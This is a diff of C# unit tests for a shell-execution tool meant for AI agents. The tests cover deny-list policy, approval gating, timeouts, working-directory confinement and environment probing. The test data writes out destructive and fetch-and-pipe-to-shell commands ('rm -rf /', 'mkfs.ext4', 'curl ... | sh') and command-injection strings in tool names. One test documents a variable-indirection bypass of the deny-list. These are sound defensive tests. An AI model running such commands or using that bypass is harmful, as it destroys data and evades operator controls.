+    public void Policy_EmptyCommand_Denied()
+    {
+        var decision = new ShellPolicy().Evaluate(new ShellRequest("   "));
+        Assert.False(decision.Allowed);
+    }
+
+    [Fact]
+    public void Policy_DefaultConstruction_AllowsAnyNonEmptyCommand()
+    {
+        // ShellPolicy ships with no default patterns. The security
+        // controls are approval gating and Docker isolation, not regex.
+        var policy = new ShellPolicy();
+        Assert.True(policy.Evaluate(new ShellRequest("rm -rf /")).Allowed);
+        Assert.True(policy.Evaluate(new ShellRequest("echo hello")).Allowed);
+    }
+
+    [Fact]
+    public void Policy_DenyList_IsGuardrailNotBoundary_KnownBypass()
+    {
+        // Even with an operator-supplied deny-list, a small change to the
+        // command (variable indirection) bypasses the literal `rm -rf /`
+        // pattern. Documented as expected behavior; the real boundary is
+        // approval-in-the-loop and Docker isolation.
+        var policy = new ShellPolicy(denyList: s_destructiveRmPatterns);
+        var decision = policy.Evaluate(new ShellRequest("${RM:=rm} -rf /"));
+        Assert.True(decision.Allowed, "Pattern matching is a UX guardrail; this bypass is documented on ShellPolicy.");
+    }
+
+    [Fact]
+    public async Task RunAsync_EchoCommand_RoundtripsStdoutAndExitCodeAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        // Use an OS-appropriate echo. On Windows the resolved shell is PowerShell.
+        var result = await shell.RunAsync("echo hello-from-shell");
+        Assert.Equal(0, result.ExitCode);
+        Assert.Contains("hello-from-shell", result.Stdout, StringComparison.Ordinal);
+        Assert.False(result.TimedOut);
+    }
+
+    [Fact]
+    public async Task RunAsync_RejectedCommand_ThrowsShellCommandRejectedAsync()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Policy = new ShellPolicy(denyList: s_destructiveRmPatterns),
+        });
+        await Assert.ThrowsAsync<ShellCommandRejectedException>(
+            () => shell.RunAsync("rm -rf /"));
+    }
+
+    [Fact]
+    public async Task RunAsync_NonZeroExit_PropagatesExitCodeAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        // `exit <n>` works in both bash and PowerShell.
+        var result = await shell.RunAsync("exit 7");
+        Assert.Equal(7, result.ExitCode);
+    }
+
+    [Fact]
+    public async Task RunAsync_Timeout_FlagsTimedOutAndKillsProcessAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, Timeout = TimeSpan.FromMilliseconds(250) });
+        var sleepCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "Start-Sleep -Seconds 30"
+            : "sleep 30";
+        var result = await shell.RunAsync(sleepCmd);
+        Assert.True(result.TimedOut);
+        Assert.Equal(124, result.ExitCode);
+        Assert.True(result.Duration < TimeSpan.FromSeconds(10));
+    }
+
+    [Fact]
+    public async Task RunAsync_NullTimeout_DoesNotTimeOutAsync()
+    {
+        // Documented contract: timeout: null disables timeouts. Verify that
+        // a short-lived command completes normally instead of being killed
+        // when the caller explicitly opts out of a timeout.
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, Timeout = null });
+        var echo = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "Write-Output ok"
+            : "echo ok";
+        var result = await shell.RunAsync(echo);
+        Assert.False(result.TimedOut);
+        Assert.Equal(0, result.ExitCode);
+    }
+
+    [Fact]
+    public void DefaultTimeout_IsThirtySeconds()
+    {
+        Assert.Equal(TimeSpan.FromSeconds(30), LocalShellExecutor.DefaultTimeout);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_DefaultsToApprovalRequiredAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var fn = shell.AsAIFunction();
+        Assert.IsType<ApprovalRequiredAIFunction>(fn);
+        Assert.Equal("run_shell", fn.Name);
+        Assert.False(string.IsNullOrWhiteSpace(fn.Description));
+    }
+
+    [Fact]
+    public async Task AsAIFunction_OptOut_RequiresAcknowledgeUnsafeAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        _ = Assert.Throws<InvalidOperationException>(() => shell.AsAIFunction(requireApproval: false));
+    }
+
+    [Fact]
+    public async Task AsAIFunction_OptOut_WithAck_ReturnsPlainFunctionAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, AcknowledgeUnsafe = true });
+        var fn = shell.AsAIFunction(requireApproval: false);
+        Assert.IsNotType<ApprovalRequiredAIFunction>(fn);
+        Assert.Equal("run_shell", fn.Name);
+    }
+
+    [Fact]
+    public void Persistent_Mode_RejectsCmd()
+    {
+        // pwsh and bash work; cmd.exe doesn't because it lacks a sentinel-friendly REPL.
+        if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            return;
+        }
+        _ = Assert.Throws<NotSupportedException>(() =>
+            new LocalShellExecutor(new() { Mode = ShellMode.Persistent, Shell = "cmd.exe" }));
+    }
+
+    [Fact]
+    public async Task Persistent_CarriesWorkingDirectory_AcrossCallsAsync()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Persistent,
+            Timeout = TimeSpan.FromSeconds(20),
+        });
+
+        // Use `pwd` (alias for Get-Location → PathInfo object) on pwsh to
+        // exercise the formatter path that previously raced the sentinel.
+        var (cdCmd, pwdCmd) = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? ("Set-Location ([System.IO.Path]::GetTempPath())", "pwd")
+            : ("cd \"$(dirname \"$(mktemp -u)\")\"", "pwd");
+
+        var first = await shell.RunAsync(cdCmd);
+        Assert.Equal(0, first.ExitCode);
+
+        var second = await shell.RunAsync(pwdCmd);
+        Assert.Equal(0, second.ExitCode);
+        Assert.False(string.IsNullOrWhiteSpace(second.Stdout), $"pwd produced no output. stderr='{second.Stderr}'");
+        var tmp = System.IO.Path.GetTempPath().TrimEnd(System.IO.Path.DirectorySeparatorChar, System.IO.Path.AltDirectorySeparatorChar);
+        Assert.Contains(System.IO.Path.GetFileName(tmp), second.Stdout, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public async Task Persistent_CarriesEnvironment_AcrossCallsAsync()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Persistent,
+            Timeout = TimeSpan.FromSeconds(20),
+        });
+
+        var (setCmd, readCmd) = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? ("$env:AF_SHELL_TEST = 'persisted-value'", "$env:AF_SHELL_TEST")
+            : ("export AF_SHELL_TEST=persisted-value", "echo $AF_SHELL_TEST");
+
+        _ = await shell.RunAsync(setCmd);
+        var read = await shell.RunAsync(readCmd);
+        Assert.Equal(0, read.ExitCode);
+        Assert.Contains("persisted-value", read.Stdout, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Persistent_Timeout_ReturnsExitCode124Async()
+    {
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Persistent,
+            Timeout = TimeSpan.FromMilliseconds(400),
+        });
+
+        var sleepCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "Start-Sleep -Seconds 30"
+            : "sleep 30";
+
+        var result = await shell.RunAsync(sleepCmd);
+        Assert.True(result.TimedOut);
+        Assert.Equal(124, result.ExitCode);
+    }
+
+    [Fact]
+    public async Task Stateless_OutputTruncation_UsesHeadTailFormatAsync()
+    {
+        // 2KB cap, emit ~10KB → must be truncated and contain the head+tail marker.
+        await using var shell = new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            MaxOutputBytes = 2048,
+            Timeout = TimeSpan.FromSeconds(20),
+        });
+
+        var bigCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "1..400 | ForEach-Object { 'line-' + $_ + '-padding-padding-padding' }"
+            : "for i in $(seq 1 400); do echo \"line-$i-padding-padding-padding\"; done";
+
+        var result = await shell.RunAsync(bigCmd);
+        Assert.True(result.Truncated);
+        Assert.Contains("truncated", result.Stdout, StringComparison.OrdinalIgnoreCase);
+        // Should keep both ends — first and last line should be visible.
+        Assert.Contains("line-1-", result.Stdout, StringComparison.Ordinal);
+        Assert.Contains("line-400-", result.Stdout, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Ctor_DefaultsToPersistentModeAsync()
+    {
+        // Skip on Windows-cmd-only hosts where Persistent throws; safe on
+        // any system that has pwsh or bash on PATH (CI, dev boxes).
+        try
+        {
+            await using var shell = new LocalShellExecutor();
+            Assert.NotNull(shell);
+        }
+        catch (NotSupportedException)
+        {
+            // Persistent + cmd.exe on a host without pwsh — acceptable; test passes.
+        }
+    }
+
+    [Fact]
+    public void Ctor_RejectsBothShellAndShellArgv()
+    {
+        var argv = new[] { "/bin/bash", "--noprofile" };
+        _ = Assert.Throws<ArgumentException>(() => new LocalShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Shell = "/bin/bash",
+            ShellArgv = argv,
+        }));
+    }
+
+    [Fact]
+    public async Task Persistent_ConfineWorkdir_ReanchorsAfterCdAwayAsync()
+    {
+        var rootDir = System.IO.Path.GetTempPath();
+        var subDir = System.IO.Path.Combine(rootDir, "af-shell-confine-" + Guid.NewGuid().ToString("N")[..8]);
+        System.IO.Directory.CreateDirectory(subDir);
+        try
+        {
+            await using var shell = new LocalShellExecutor(new()
+            {
+                Mode = ShellMode.Persistent,
+                WorkingDirectory = rootDir,
+                ConfineWorkingDirectory = true,
+                Timeout = TimeSpan.FromSeconds(20),
+            });
+
+            // First call: cd into subdir.
+            var cd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                ? $"Set-Location -LiteralPath \"{subDir}\""
+                : $"cd \"{subDir}\"";
+            _ = await shell.RunAsync(cd);
+
+            // Second call: pwd. With confinement we should be re-anchored to rootDir.
+            var pwdCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows) ? "(Get-Location).Path" : "pwd";
+            var result = await shell.RunAsync(pwdCmd);
+            Assert.Equal(0, result.ExitCode);
+            var rootName = System.IO.Path.GetFileName(rootDir.TrimEnd(System.IO.Path.DirectorySeparatorChar, System.IO.Path.AltDirectorySeparatorChar));
+            Assert.Contains(rootName, result.Stdout, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain(System.IO.Path.GetFileName(subDir), result.Stdout, StringComparison.OrdinalIgnoreCase);
+        }
+        finally
+        {
+            try { System.IO.Directory.Delete(subDir, recursive: true); } catch { }
+        }
+    }
+
+    [Fact]
+    public async Task Persistent_ConfineDisabled_AllowsCdToLeakAsync()
+    {
+        var rootDir = System.IO.Path.GetTempPath();
+        var subDir = System.IO.Path.Combine(rootDir, "af-shell-noconfine-" + Guid.NewGuid().ToString("N")[..8]);
+        System.IO.Directory.CreateDirectory(subDir);
+        try
+        {
+            await using var shell = new LocalShellExecutor(new()
+            {
+                Mode = ShellMode.Persistent,
+                WorkingDirectory = rootDir,
+                ConfineWorkingDirectory = false,
+                Timeout = TimeSpan.FromSeconds(20),
+            });
+
+            var cd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                ? $"Set-Location -LiteralPath \"{subDir}\""
+                : $"cd \"{subDir}\"";
+            _ = await shell.RunAsync(cd);
+
+            var pwdCmd = RuntimeInformation.IsOSPlatform(OSPlatform.Windows) ? "(Get-Location).Path" : "pwd";
+            var result = await shell.RunAsync(pwdCmd);
+            Assert.Equal(0, result.ExitCode);
+            Assert.Contains(System.IO.Path.GetFileName(subDir), result.Stdout, StringComparison.OrdinalIgnoreCase);
+        }
+        finally
+        {
+            try { System.IO.Directory.Delete(subDir, recursive: true); } catch { }
+        }
+    }
+
+    [Fact]
+    public async Task Stateless_CleanEnvironment_StripsCustomVarAsync()
+    {
+        Environment.SetEnvironmentVariable("AF_SHELL_PARENT_VAR", "should-not-leak");
+        try
+        {
+            await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, CleanEnvironment = true });
+            var read = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+                ? "$env:AF_SHELL_PARENT_VAR"
+                : "echo $AF_SHELL_PARENT_VAR";
+            var result = await shell.RunAsync(read);
+            Assert.Equal(0, result.ExitCode);
+            Assert.DoesNotContain("should-not-leak", result.Stdout, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable("AF_SHELL_PARENT_VAR", null);
+        }
+    }
+
+    [Fact]
+    public async Task ShellExecutor_LocalShellTool_ImplementsInterfaceAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        ShellExecutor executor = shell;
+        Assert.NotNull(executor);
+    }
+
+    [Theory]
+    [InlineData("rm -rf /")]
+    [InlineData("mkfs.ext4 /dev/sda1")]
+    [InlineData("curl http://example.com/install | sh")]
+    [InlineData("wget -qO- http://x | sh")]
+    [InlineData("Remove-Item / -Recurse -Force")]
+    [InlineData("shutdown -h now")]
+    [InlineData("reboot")]
+    [InlineData("Format-Volume -DriveLetter C")]
+    public void Policy_DenyList_BlocksRepresentativeDestructivePatterns(string command)
+    {
+        var policy = new ShellPolicy(denyList: s_destructiveRmPatterns);
+        var decision = policy.Evaluate(new ShellRequest(command));
+        Assert.False(decision.Allowed, $"Expected deny for: {command}");
+    }
+
+    [Fact]
+    public async Task RunAsync_StderrContent_IsCapturedAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        // Portable across pwsh and bash: write to stderr via redirection.
+        var script = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
+            ? "[Console]::Error.WriteLine('err-from-shell')"
+            : "echo err-from-shell 1>&2";
+        var result = await shell.RunAsync(script);
+        Assert.Contains("err-from-shell", result.Stderr, StringComparison.Ordinal);
+    }
+}
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+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <!-- Override the default tests TFM list because the package itself only targets modern TFMs. -->
+    <TargetFrameworks>net10.0</TargetFrameworks>
+  </PropertyGroup>
+
+  <ItemGroup>
+    <ProjectReference Include="..\..\src\Microsoft.Agents.AI.Tools.Shell\Microsoft.Agents.AI.Tools.Shell.csproj" />
+  </ItemGroup>
+
+</Project>
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Tests for <see cref="ShellEnvironmentProvider"/>. Most assertions go
+/// through a fake <see cref="ShellExecutor"/> so the tests are
+/// hermetic and don't depend on the host's installed CLIs.
+/// </summary>
+public sealed class ShellEnvironmentProviderTests
+{
+    [Fact]
+    public async Task RefreshAsync_OnPowerShellHost_ReportsPowerShellAsync()
+    {
+        if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            return; // The default-detection path only fires PowerShell on Windows.
+        }
+
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var provider = new ShellEnvironmentProvider(shell, new() { ProbeTools = [] });
+        var snapshot = await provider.RefreshAsync();
+
+        Assert.Equal(ShellFamily.PowerShell, snapshot.Family);
+        Assert.False(string.IsNullOrWhiteSpace(snapshot.WorkingDirectory));
+        // Shell version probe runs `$PSVersionTable.PSVersion` — must be non-null on a real host.
+        Assert.False(string.IsNullOrWhiteSpace(snapshot.ShellVersion));
+    }
+
+    [Fact]
+    public async Task RefreshAsync_OnPosixHost_ReportsPosixAsync()
+    {
+        if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+        {
+            return;
+        }
+
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var provider = new ShellEnvironmentProvider(shell, new() { ProbeTools = [] });
+        var snapshot = await provider.RefreshAsync();
+
+        Assert.Equal(ShellFamily.Posix, snapshot.Family);
+        Assert.False(string.IsNullOrWhiteSpace(snapshot.WorkingDirectory));
+    }
+
+    [Fact]
+    public void DefaultInstructionsFormatter_PowerShell_ContainsPowerShellIdioms()
+    {
+        var snapshot = new ShellEnvironmentSnapshot(
+            Family: ShellFamily.PowerShell,
+            OSDescription: "Windows 11",
+            ShellVersion: "7.4.0",
+            WorkingDirectory: @"C:\repo",
+            ToolVersions: new Dictionary<string, string?> { ["git"] = "git 2.46", ["docker"] = null });
+
+        var instructions = ShellEnvironmentProvider.DefaultInstructionsFormatter(snapshot);
+        Assert.Contains("PowerShell 7.4.0", instructions, StringComparison.Ordinal);
+        Assert.Contains("$env:NAME", instructions, StringComparison.Ordinal);
+        Assert.Contains("Set-Location", instructions, StringComparison.Ordinal);
+        Assert.Contains(@"C:\repo", instructions, StringComparison.Ordinal);
+        Assert.Contains("git (git 2.46)", instructions, StringComparison.Ordinal);
+        Assert.Contains("Not installed: docker", instructions, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DefaultInstructionsFormatter_Posix_ContainsPosixIdioms()
+    {
+        var snapshot = new ShellEnvironmentSnapshot(
+            Family: ShellFamily.Posix,
+            OSDescription: "Ubuntu 22.04",
+            ShellVersion: "5.2",
+            WorkingDirectory: "/home/user/repo",
+            ToolVersions: new Dictionary<string, string?> { ["git"] = "git 2.43" });
+
+        var instructions = ShellEnvironmentProvider.DefaultInstructionsFormatter(snapshot);
+        Assert.Contains("POSIX", instructions, StringComparison.Ordinal);
+        Assert.Contains("export NAME=value", instructions, StringComparison.Ordinal);
+        Assert.Contains("/home/user/repo", instructions, StringComparison.Ordinal);
+        Assert.DoesNotContain("$env:", instructions, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_MissingTool_RecordedAsNullAsync()
+    {
+        await using var shell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless });
+        var provider = new ShellEnvironmentProvider(shell, new()
+        {
+            ProbeTools = ["definitely-not-a-real-binary-xyz123"],
+            ProbeTimeout = TimeSpan.FromSeconds(5),
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        Assert.True(snapshot.ToolVersions.ContainsKey("definitely-not-a-real-binary-xyz123"));
+        Assert.Null(snapshot.ToolVersions["definitely-not-a-real-binary-xyz123"]);
+    }
+
+    [Fact]
+    public async Task ProvideAIContext_CustomFormatter_OverridesDefaultAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/tmp\n", "", 0, TimeSpan.Zero));
+        var options = new ShellEnvironmentProviderOptions
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+            InstructionsFormatter = _ => "CUSTOM-INSTRUCTIONS",
+        };
+        var provider = new ShellEnvironmentProvider(fake, options);
+        var snapshot = await provider.RefreshAsync();
+        Assert.Equal("/tmp", snapshot.WorkingDirectory);
+
+        // ProvideAIContextAsync is protected; assert the formatter contract directly
+        // against the options instance the test owns.
+        var custom = options.InstructionsFormatter!(snapshot);
+        Assert.Equal("CUSTOM-INSTRUCTIONS", custom);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_RecomputesSnapshotAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/a\n", "", 0, TimeSpan.Zero));
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        var first = await provider.RefreshAsync();
+        Assert.Equal("/a", first.WorkingDirectory);
+
+        fake.NextResult = new ShellResult("VERSION=2.0\nCWD=/b\n", "", 0, TimeSpan.Zero);
+        var second = await provider.RefreshAsync();
+        Assert.Equal("/b", second.WorkingDirectory);
+        Assert.Equal("2.0", second.ShellVersion);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_ReProbesEachCallAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/x\n", "", 0, TimeSpan.Zero));
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        _ = await provider.RefreshAsync();
+        var probesAfterFirst = fake.RunCount;
+
+        await provider.RefreshAsync();
+        Assert.True(fake.RunCount > probesAfterFirst, "RefreshAsync should re-probe each call");
+    }
+
+    [Fact]
+    public async Task RefreshAsync_InvalidToolName_RecordedAsNullWithoutInvokingExecutorAsync()
+    {
+        var fake = new FakeShellExecutor(
+            new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero));
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = ["git; rm -rf /", "echo $PATH", "good-tool && bad"],
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        // One probe for shell+CWD; none of the bogus tool names should reach the executor.
+        Assert.Equal(1, fake.RunCount);
+        Assert.Null(snapshot.ToolVersions["git; rm -rf /"]);
+        Assert.Null(snapshot.ToolVersions["echo $PATH"]);
+        Assert.Null(snapshot.ToolVersions["good-tool && bad"]);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_DuplicateProbeToolsCaseInsensitive_ProbesOnceAsync()
+    {
+        // ProbeTools is user-supplied. With a case-insensitive backing dictionary,
+        // {"git","GIT"} used to probe twice and let the second insertion silently
+        // overwrite the first. Verify we now skip duplicates.
+        var fake = new ScriptedShellExecutor();
+        fake.Responses.Enqueue(new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero)); // shell+cwd probe
+        fake.Responses.Enqueue(new ShellResult("git 2.46\n", "", 0, TimeSpan.Zero));          // first git probe
+        // No second probe response queued — if dedup is broken, the test will throw on dequeue.
+
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = ["git", "GIT", "Git"],
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        Assert.Single(snapshot.ToolVersions);
+        Assert.Equal("git 2.46", snapshot.ToolVersions["git"]);
+        Assert.Equal("git 2.46", snapshot.ToolVersions["GIT"]);
+    }
+
+    [Fact]
+    public async Task RefreshAsync_ToolEmitsVersionToStderr_FallsBackToStderrAsync()
+    {
+        // Some CLIs (e.g. java, older gcc) write `--version` output to stderr.
+        var fake = new ScriptedShellExecutor();
+        fake.Responses.Enqueue(new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero)); // shell+cwd probe
+        fake.Responses.Enqueue(new ShellResult("", "openjdk 21.0.1 2023-10-17\n", 0, TimeSpan.Zero)); // tool probe
+
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = ["java"],
+        });
+
+        var snapshot = await provider.RefreshAsync();
+        Assert.Equal("openjdk 21.0.1 2023-10-17", snapshot.ToolVersions["java"]);
+    }
+
+    private sealed class ScriptedShellExecutor : ShellExecutor
+    {
+        public Queue<ShellResult> Responses { get; } = new();
+        public override Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+        public override Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default) =>
+            Task.FromResult(this.Responses.Dequeue());
+        public override ValueTask DisposeAsync() => default;
+    }
+
+    [Fact]
+    public async Task RefreshAsync_CallerCancellation_PropagatesAsync()
+    {
+        var fake = new ThrowingShellExecutor(token =>
+        {
+            token.ThrowIfCancellationRequested();
+            return new ShellResult("VERSION=1.0\nCWD=/x\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => provider.RefreshAsync(cts.Token));
+    }
+
+    [Fact]
+    public async Task RefreshAsync_ProbeTimeout_RecordedAsNullFieldsAsync()
+    {
+        // Executor honors the (linked) probe-timeout token by throwing OCE when it fires.
+        var fake = new ThrowingShellExecutor(token =>
+        {
+            token.WaitHandle.WaitOne(TimeSpan.FromSeconds(5));
+            token.ThrowIfCancellationRequested();
+            return new ShellResult("VERSION=1.0\nCWD=/\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTimeout = TimeSpan.FromMilliseconds(50),
+            ProbeTools = ["git"],
+        });
+
+        // Caller-side token stays alive; only the per-probe timeout fires.
+        var snapshot = await provider.RefreshAsync();
+        Assert.Null(snapshot.ShellVersion);
+        Assert.Null(snapshot.ToolVersions["git"]);
+    }
+
+    private sealed class ThrowingShellExecutor : ShellExecutor
+    {
+        private readonly Func<CancellationToken, ShellResult> _factory;
+        public ThrowingShellExecutor(Func<CancellationToken, ShellResult> factory) { this._factory = factory; }
+        public override Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+        public override Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default) =>
+            Task.FromResult(this._factory(cancellationToken));
+        public override ValueTask DisposeAsync() => default;
+    }
+
+    [Fact]
+    public async Task ProvideAIContextAsync_FirstCallFails_NextCallRetriesAndSucceedsAsync()
+    {
+        // Reproduce the "poisoned _snapshotTask" scenario: the first probe throws
+        // (e.g. caller cancels, or an executor blip), and a subsequent call must
+        // be able to recover instead of returning the cached failure forever.
+        var calls = 0;
+        var fake = new ThrowingShellExecutor(_ =>
+        {
+            calls++;
+            if (calls == 1)
+            {
+                throw new InvalidOperationException("boom");
+            }
+            return new ShellResult("VERSION=2.0\nCWD=/tmp\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        // First call surfaces the executor failure.
+        await Assert.ThrowsAnyAsync<Exception>(() => InvokeProvideAsync(provider));
+
+        // Second call must re-probe and succeed.
+        var ctx = await InvokeProvideAsync(provider);
+        Assert.NotNull(ctx.Instructions);
+        Assert.NotNull(provider.CurrentSnapshot);
+        Assert.Equal("2.0", provider.CurrentSnapshot!.ShellVersion);
+    }
+
+    [Fact]
+    public async Task ProvideAIContextAsync_FirstCallCancelled_NextCallSucceedsAsync()
+    {
+        // Round 6 made caller cancellation propagate. Combined with the cached
+        // _snapshotTask, a single Ctrl-C on the first turn used to permanently
+        // break the provider — verify that round 7's reset clears that.
+        var calls = 0;
+        var fake = new ThrowingShellExecutor(token =>
+        {
+            calls++;
+            if (calls == 1)
+            {
+                token.ThrowIfCancellationRequested();
+            }
+            return new ShellResult("VERSION=3.0\nCWD=/x\n", "", 0, TimeSpan.Zero);
+        });
+        var provider = new ShellEnvironmentProvider(fake, new()
+        {
+            OverrideFamily = ShellFamily.Posix,
+            ProbeTools = [],
+        });
+
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => InvokeProvideAsync(provider, cts.Token));
+
+        var ctx = await InvokeProvideAsync(provider);
+        Assert.NotNull(ctx.Instructions);
+        Assert.Equal("3.0", provider.CurrentSnapshot!.ShellVersion);
+    }
+
+    /// <summary>
+    /// Invokes the protected <c>ProvideAIContextAsync</c> via reflection so tests
+    /// can target the cached-task code path directly. <see cref="ShellEnvironmentProvider"/>
+    /// is sealed, so we cannot derive a public passthrough.
+    /// </summary>
+    private static async Task<AIContext> InvokeProvideAsync(ShellEnvironmentProvider provider, CancellationToken ct = default)
+    {
+        var method = typeof(ShellEnvironmentProvider).GetMethod(
+            "ProvideAIContextAsync",
+            BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public)
+            ?? throw new InvalidOperationException("ProvideAIContextAsync not found");
+        var task = (ValueTask<AIContext>)method.Invoke(provider, new object?[] { null, ct })!;
+        return await task.ConfigureAwait(false);
+    }
+
+    private sealed class FakeShellExecutor : ShellExecutor
+    {
+        public FakeShellExecutor(ShellResult result) { this.NextResult = result; }
+        public ShellResult NextResult { get; set; }
+        public int RunCount { get; private set; }
+        public override Task InitializeAsync(CancellationToken cancellationToken = default) => Task.CompletedTask;
+        public override Task<ShellResult> RunAsync(string command, CancellationToken cancellationToken = default)
+        {
+            this.RunCount++;
+            return Task.FromResult(this.NextResult);
+        }
+        public override ValueTask DisposeAsync() => default;
+    }
+}
@@ -0,0 +1,67 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Tests for <see cref="ShellResolver.ResolveArgv"/>: bash-only flags like
+/// <c>--noprofile</c> / <c>--norc</c> must only be passed to bash; other
+/// POSIX shells (sh, zsh, dash, ash, ksh, busybox) reject or mishandle them.
+/// </summary>
+public class ShellResolverTests
+{
+    private static readonly string[] s_shCommandArgv = new[] { "-c", "echo hi" };
+    private static readonly string[] s_bashCommandArgv = new[] { "--noprofile", "--norc", "-c", "echo hi" };
+    private static readonly string[] s_bashPersistentArgv = new[] { "--noprofile", "--norc" };
+
+    private static ResolvedShell ResolveSingle(string binary) => ShellResolver.ResolveArgv(new[] { binary });
+
+    [Theory]
+    [InlineData("/bin/sh")]
+    [InlineData("/bin/dash")]
+    [InlineData("/bin/ash")]
+    [InlineData("/usr/bin/busybox")]
+    [InlineData("/usr/bin/zsh")]
+    [InlineData("/bin/ksh")]
+    public void ShVariants_StatelessArgv_OmitBashOnlyFlags(string binary)
+    {
+        var argv = ResolveSingle(binary).StatelessArgvForCommand("echo hi");
+
+        Assert.Equal(s_shCommandArgv, argv);
+        Assert.DoesNotContain("--noprofile", argv);
+        Assert.DoesNotContain("--norc", argv);
+    }
+
+    [Theory]
+    [InlineData("/bin/sh")]
+    [InlineData("/bin/dash")]
+    [InlineData("/bin/ash")]
+    [InlineData("/usr/bin/busybox")]
